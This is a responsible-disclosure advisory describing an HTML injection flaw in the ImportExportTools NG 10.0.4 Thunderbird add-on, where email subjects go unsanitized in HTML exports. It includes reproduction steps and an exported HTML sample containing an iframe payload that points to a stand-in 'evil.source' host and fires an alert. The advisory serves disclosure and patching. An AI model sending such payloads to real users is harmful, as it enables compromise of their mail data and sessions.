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ImportExportTools NG 10.0.4 HTML Injection

ImportExportTools NG 10.0.4 HTML Injection
Posted Nov 5, 2021
Authored by Vulnerability Laboratory | Site vulnerability-lab.com

ImportExportTools NG version 10.0.4 suffers from an html injection vulnerability.

tags | exploit
SHA-256 | 465fb0bd0b588f37cc0e2a9d0ddf87d7e2ac303878dfbdd275bc942ba514d07f

ImportExportTools NG 10.0.4 HTML Injection

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Document Title:
===============
ImportExportTools NG 10.0.4 - HTML Injection Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2308


Release Date:
=============
2021-11-05


Vulnerability Laboratory ID (VL-ID):
====================================
2308


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Script Code Injection


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Adds tools to import/export messages and folders (NextGen).

(Copy of the Homepage:https://addons.thunderbird.net/en-US/thunderbird/addon/importexporttools-ng/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent validation vulnerability in the official ImportExportTools NG 10.0.4 for mozilla thunderbird.


Affected Product(s):
====================
Christopher Leidigh
Product: ImportExportTools NG v10.0.4 - Addon (Mozilla Thunderbird)


Vulnerability Disclosure Timeline:
==================================
2021-10-07: Researcher Notification & Coordination (Security Researcher)
2021-10-08: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-11-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Pre Auth (No Privileges or Session)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A html inject web vulnerability has been discovered in the official ImportExportTools NG 10.0.4 for mozilla thunderbird.
The vulnerability allows a remote attacker to inject html payloads to compromise application data or session credentials.

The vulnerability is located in the html export function. Subject content on export is not sanitized like on exports in mozilla itself.
Thus allows a remote attacker to send malicious emails with malformed a html payloads that executes on preview after a html export by
the victim user.

Vulnerable Module(s):
[+] Export (HTML)


Proof of Concept (PoC):
=======================
The web vulnerability can be exploited by remote attackers without user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Install mozilla thunderbird
2. Install ImportExportTools NG v10.0.4
3. Use another email to write to the target inbox were the export takes place
Note: Inject into the subject any html test payload
4. Target user exports his content of the inbox in html were the payload executes
5. Successful reproduce of the encode validation vulnerability!

Note: We reported some years ago the same issue that was also present in keepass and kaspersky password manager on exports via html and has been successfully resolved.


Vulnerable Source: ImportExportTools Exported HTML File
<html><head>
<style>
table { border-collapse: collapse; }
th { background-color: #e6ffff; }
th, td { padding: 4px; text-align: left; vertical-align: center; }
tr:nth-child(even) { background-color: #f0f0f0; }
tr:nth-child(odd) { background-color: #fff; }
tr>:nth-child(5) { text-align: center; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Posteingang</title>
</head>
<body>
<h2>Posteingang (10/07/2021)</h2><table width="99%" border="1"><tbody><tr><th><b>Betreff</b></th>
<th><b>Von</b></th><th><b>An</b></th><th><b>Datum</b></th><th><b>Anhang</b></th></tr>
<tr><td><a href="Nachrichten/20211007-payload%20in%20subject%20___iframe%20src%3Devil.source%20onload%3Dalert(document.domain)_-151.html">
payload in subject "><iframe src="evil.source" onlo<="" a=""></td>
<td>test@vulnerability-lab.com" <test@vulnerability-</td>
<td>user@test-service.de</td>
<td nowrap>10/07/2021</td>
<td align="center">* </td></tr>


Reference(s):
https://addons.thunderbird.net/de/thunderbird/addon/importexporttools-ng/


Solution - Fix & Patch:
=======================
The output that is visible in the subject needs to be encoded and secure sanitized to prevent an execute from any listed value.
Restrict the execution via import/export with special chars to prevent further attacks.


Credits & Authors:
==================
Vulnerability-Lab [admin@vulnerability-lab.com] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
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